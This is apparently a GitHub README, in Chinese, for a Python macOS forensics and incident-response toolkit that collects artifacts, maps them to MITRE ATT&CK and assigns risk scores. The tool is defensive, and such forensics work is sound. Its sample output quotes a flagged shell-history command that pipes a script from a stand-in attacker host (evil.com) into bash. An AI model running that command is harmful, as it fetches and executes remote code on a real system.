Moe-93/macOS-dfir-toolkit

GitHub: Moe-93/macOS-dfir-toolkit

一款基于 Python 的 macOS 数字取证与事件响应工具,可自动收集取证证据并将发现映射到 MITRE ATT&CK 框架进行风险评估。

Stars: 0 | Forks: 0

# 🍎 macOS 数字取证与事件响应 (DFIR) 工具包 [![Python](https://img.shields.io/badge/Python-3.8+-blue.svg)](https://www.python.org/) [![Platform](https://img.shields.io/badge/Platform-macOS-lightgrey.svg)](https://www.apple.com/macos/) [![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE) [![MITRE](https://img.shields.io/badge/MITRE-ATT&CK-red.svg)](https://attack.mitre.org/) 一款专为 macOS 环境设计的综合 Python 数字取证和事件响应工具。自动收集取证证据,将发现结果映射到 MITRE ATT&CK 框架,并导出结构化报告以供调查。 ## 📋 目录 - [功能特性](#-features) - [环境要求](#-requirements) - [安装说明](#-installation) - [使用方法](#-usage) - [证据覆盖范围](#-artifact-coverage) - [MITRE ATT&CK 映射](#-mitre-attck-mapping) - [输出格式](#-output-format) - [风险评分](#-risk-scoring) - [截图展示](#-screenshots) - [贡献指南](#-contributing) - [许可证](#-license) - [免责声明](#-disclaimer) ## 🚀 功能特性 | 功能 | 描述 | |---------|-------------| | **17 个证据类别** | 全面的 macOS 取证证据覆盖 | | **MITRE ATT&CK 映射** | 与 macOS 特定攻击技术的自动关联 | | **风险评分** | 基于可疑指标的智能 0-100 评分 | | **CSV 导出** | 用于电子表格分析和 SIEM 摄入的结构化输出 | | **JSON 摘要** | 包含收集统计信息的机器可读摘要 | | **Plist 解析** | 原生 Apple 属性列表解析 | | **SQLite 分析** | 直接查询 Safari、Chrome、TCC 和隔离数据数据库 | | **统一日志查询** | macOS 10.12+ 统一日志系统集成 | | **权限检测** | 识别 sudo 滥用和权限提升尝试 | | **无外部依赖** | 纯 Python 标准库 (3.8+) | ## 📦 环境要求 ### 系统要求 - **操作系统**: macOS 10.14 (Mojave) 或更高版本 - **Python**: 3.8 或更高版本 - **权限**: 建议使用 Root/sudo 以获取完整的证据访问权限 ### 使用的 Python 标准库模块 ``` os, sys, json, csv, hashlib, sqlite3, plistlib, subprocess, datetime, re, glob, pathlib, collections, typing, dataclasses ``` ## 🔧 安装说明 ### 选项 1: 克隆仓库 ``` git clone https://github.com/yourusername/macos-dfir-toolkit.git cd macos-dfir-toolkit ``` ### 选项 2: 直接下载 ``` curl -O https://raw.githubusercontent.com/yourusername/macos-dfir-toolkit/main/macos_dfir.py chmod +x macos_dfir.py ``` ### 验证安装 ``` python3 --version # Should be 3.8+ python3 macos_dfir.py --help ``` ## 🖥️ 使用方法 ### 基本用法(当前用户) ``` python3 macos_dfir.py ``` ### 完整收集(推荐) ``` sudo python3 macos_dfir.py ``` ### 自定义输出目录 ``` sudo python3 macos_dfir.py # When prompted, enter: /path/to/output ``` ### 自动化执行 ``` # Non-interactive mode with custom output echo "/var/forensics/case_001" | sudo python3 macos_dfir.py ``` ## 🔍 证据覆盖范围 ### 持久化机制 | 证据 | 路径 | MITRE 技术 | |----------|------|-----------------| | LaunchAgents | `~/Library/LaunchAgents` | T1543.001 | | LaunchDaemons | `/Library/LaunchDaemons` | T1543.004 | | 登录项 | System Events API | T1547.007 | | Cron 任务 | `/etc/crontab`, `/var/at/tabs` | T1053.003 | | 内核扩展 | `/Library/Extensions` | T1547.006 | | 后台任务 | BTM 数据库 (macOS 13+) | T1543.001 | ### 执行证据 | 证据 | 路径 | MITRE 技术 | |----------|------|-----------------| | Bash 历史 | `~/.bash_history` | T1059.004, T1070.003 | | Zsh 历史 | `~/.zsh_history` | T1059.004, T1070.003 | | 安装历史 | `/Library/Receipts/InstallHistory.plist` | T1072 | | 隔离事件 | `~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2` | T1553.001 | ### 凭证访问 | 证据 | 路径 | MITRE 技术 | |----------|------|-----------------| | 钥匙串 | `~/Library/Keychains/login.keychain-db` | T1555.001 | | SSH 密钥 | `~/.ssh/authorized_keys` | T1021.004 | | TCC 数据库 | `~/Library/Application Support/com.apple.TCC/TCC.db` | T1562.001 | ### 防御规避 | 证据 | 路径 | MITRE 技术 | |----------|------|-----------------| | Gatekeeper 日志 | 统一日志 | T1553.001 | | 隐藏文件 | 用户主目录 | T1564.001 | | 临时文件 | `/tmp`, `/var/tmp` | T1074.001 | | Sudo 日志 | `/var/log/system.log` | T1548.003 | ### 发现与收集 | 证据 | 路径 | MITRE 技术 | |----------|------|-----------------| | 用户账户 | `dscl` API | T1087.001, T1136.001 | | 浏览器历史 | Safari/Chrome/Firefox 数据库 | T1071.001, T1567.002 | | 网络连接 | `netstat`, `lsof` | T1049, T1046 | | 系统日志 | 统一日志 | T1070.002 | ## 🎯 MITRE ATT&CK 映射 该工具将发现结果映射到以下 MITRE ATT&CK 技术: ### 涵盖的战术 - **初始访问** (T1566.001, T1566.002, T1078.001) - **执行** (T1059.004, T1059.007, T1553.001, T1204.002) - **持久化** (T1543.001, T1543.004, T1547.007, T1547.011, T1136.001) - **权限提升** (T1548.001, T1548.003, T1053.003, T1037.002) - **防御规避** (T1070.002, T1070.003, T1070.004, T1070.006, T1564.001, T1564.002, T1562.001) - **凭证访问** (T1552.001, T1555.001, T1003.008, T1056.001) - **发现** (T1083, T1087.001, T1049, T1057, T1518.001, T1082) - **横向移动** (T1021.004, T1021.005, T1550.002) - **收集** (T1560.001, T1125, T1113, T1115, T1005, T1074.001) - **命令与控制** (T1071.001, T1071.004, T1571, T1573.002, T1105, T1219) - **数据泄露** (T1041, T1048.001, T1567.002, T1020) - **影响** (T1486, T1490, T1529) ## 📊 输出格式 ### 目录结构 ``` forensics_output/ ├── macos_forensics_report.csv # Main CSV report └── forensics_summary.json # JSON summary with statistics ``` ### CSV 列 | 列 | 描述 | |--------|-------------| | `artifact_type` | 取证证据类别 | | `source_path` | 文件路径或系统来源 | | `description` | 人类可读的描述 | | `timestamp` | ISO 8601 时间戳 | | `mitre_techniques` | 分号分隔的 MITRE 技术 ID | | `risk_score` | 整数 0-100 | | `data` | JSON 编码的结构化数据 | | `raw_content` | 截断的原始证据内容 | ### JSON 摘要结构 ``` { "system_info": { "hostname": "MacBook-Pro", "os_version": "14.2.1", "build_version": "23C71", "hardware_uuid": "XXX-XXX-XXX", "serial_number": "XXXXX" }, "collection_stats": { "total_artifacts": 150, "high_risk_count": 12, "by_type": { "Persistence_LaunchItem": 45, ... }, "by_mitre_technique": { "T1543.001": 30, ... } }, "artifacts": [ ... ] } ``` ## ⚠️ 风险评分 | 分数 | 严重程度 | 描述 | |-------|----------|-------------| | 0-30 | 🟢 低 | 正常系统证据,标准配置 | | 31-50 | 🟡 中 | 异常但可能合法的活动 | | 51-70 | 🟠 高 | 需要调查的可疑指标 | | 71-90 | 🔴 严重 | 恶意活动的强烈证据 | | 91-100 | ⚫ 严重 | 已确认的恶意 | ### 评分因素 - **程序路径**: `/tmp/`, `/var/tmp/`, 隐藏目录 (+30) - **执行频率**: 间隔 < 5 分钟 (+15) - **进程隐藏**: `nice`, `nohup` 使用 (+10) - **网络指标**: 已知 C2 端口 (+30) - **凭证访问**: 钥匙串转储尝试 (+40) - **权限提升**: Sudo shell 执行 (+30) ## 📸 示例输出 ``` [*] Starting macOS Forensic Collection on MacBook-Pro [*] OS Version: 14.2.1 (23C71) [*] Collection Time: 2024-01-15T10:30:00 ================================================================================ [*] Collecting: Launch Agents/Daemons [+] Collected: Persistence_LaunchItem - LaunchAgent: com.example.backdoor.plist (Risk: 75) [*] Collecting: Shell History [+] Collected: Execution_ShellHistory - Suspicious command: curl -s http://evil.com/payload | bash (Risk: 85) [*] Collecting: Network Connections [+] Collected: Network_Connection - Active connection: 192.168.1.100:4444 (Risk: 60) ================================================================================ COLLECTION SUMMARY ================================================================================ Total Artifacts: 150 High Risk Items (>=70): 12 Artifacts by Type: - Persistence_LaunchItem: 45 - Network_Connection: 23 - Execution_ShellHistory: 18 MITRE ATT&CK Techniques Detected: - T1543.001 (Launch Agent): 30 occurrences - T1059.004 (Unix Shell): 25 occurrences - T1071.001 (Web Protocols): 20 occurrences [+] CSV Report exported to: ./forensics_output/macos_forensics_report.csv [+] JSON Summary exported to: ./forensics_output/forensics_summary.json ``` ## 🔬 取证用例 ### 事件响应 - 受损 macOS 终端的快速分类 - 识别持久化机制 - 追踪攻击者命令执行 ### 威胁狩猎 - MITRE ATT&CK 技术的主动检测 - 基线偏差分析 - 系统配置中的异常检测 ### 合规与审计 - 用户活动监控 - 权限提升检测 - 数据泄露证据收集 ### 恶意软件分析 - 隔离事件分析 - Gatekeeper 绕过检测 - 可疑进程识别 ## 🤝 贡献指南 欢迎贡献!请遵循以下指南: 1. **Fork** 该仓库 2. **创建** 功能分支 (`git checkout -b feature/amazing-feature`) 3. **提交** 您的更改 (`git commit -m 'Add amazing feature'`) 4. **推送** 到分支 (`git push origin feature/amazing-feature`) 5. **打开** Pull Request ### 贡献领域 - 额外的证据收集器 - 增强的 MITRE 技术覆盖 - 改进的风险评分算法 - GUI 界面 - 时间线可视化 - SIEM 平台集成 ## 📄 许可证 本项目基于 MIT 许可证 - 详见 [LICENSE](LICENSE) 文件。 ## ⚖️ 免责声明 - 在任何系统上运行前务必获得适当授权 - 尊重隐私法规和组织政策 - 作者对误用或损害不承担任何责任 - 某些功能需要 root 权限,可能会影响系统性能 - 在生产使用前在受控环境中测试 **请负责任且合乎道德地使用。** ## 📚 参考资料 - [macOS 的 MITRE ATT&CK](https://attack.mitre.org/matrices/enterprise/macos/) - [Apple macOS 安全指南](https://support.apple.com/guide/security/welcome/web) - [macOS 取证证据](https://forensicswiki.xyz/page/Mac_OS_X) - [统一日志文档](https://developer.apple.com/documentation/os/logging) ## 📧 联系方式 如有问题、问题报告或功能请求: - **电子邮件**: moeaqeel@potonmail.com - **Twitter**: https://x.com/MoeA193

❤️ 为 DFIR 社区构建
聪明地狩猎,快速地响应。

标签:Chrome取证, CSV导出, DFIR工具, DNS 反向解析, HTTP工具, JSON报告, macOS取证, macOS安全, MITRE_ATT&CK, PE 加载器, Plist解析, Python安全工具, Safari取证, SIEM集成, SQLite分析, TCC分析, Web报告查看器, Windows 调试器, 取证工具, 安全运营, 扫描框架, 数字取证, 无线安全, 浏览器取证, 特权提升检测, 痕迹检测, 系统取证, 终端取证, 统一日志, 网络安全审计, 自动化脚本, 逆向工具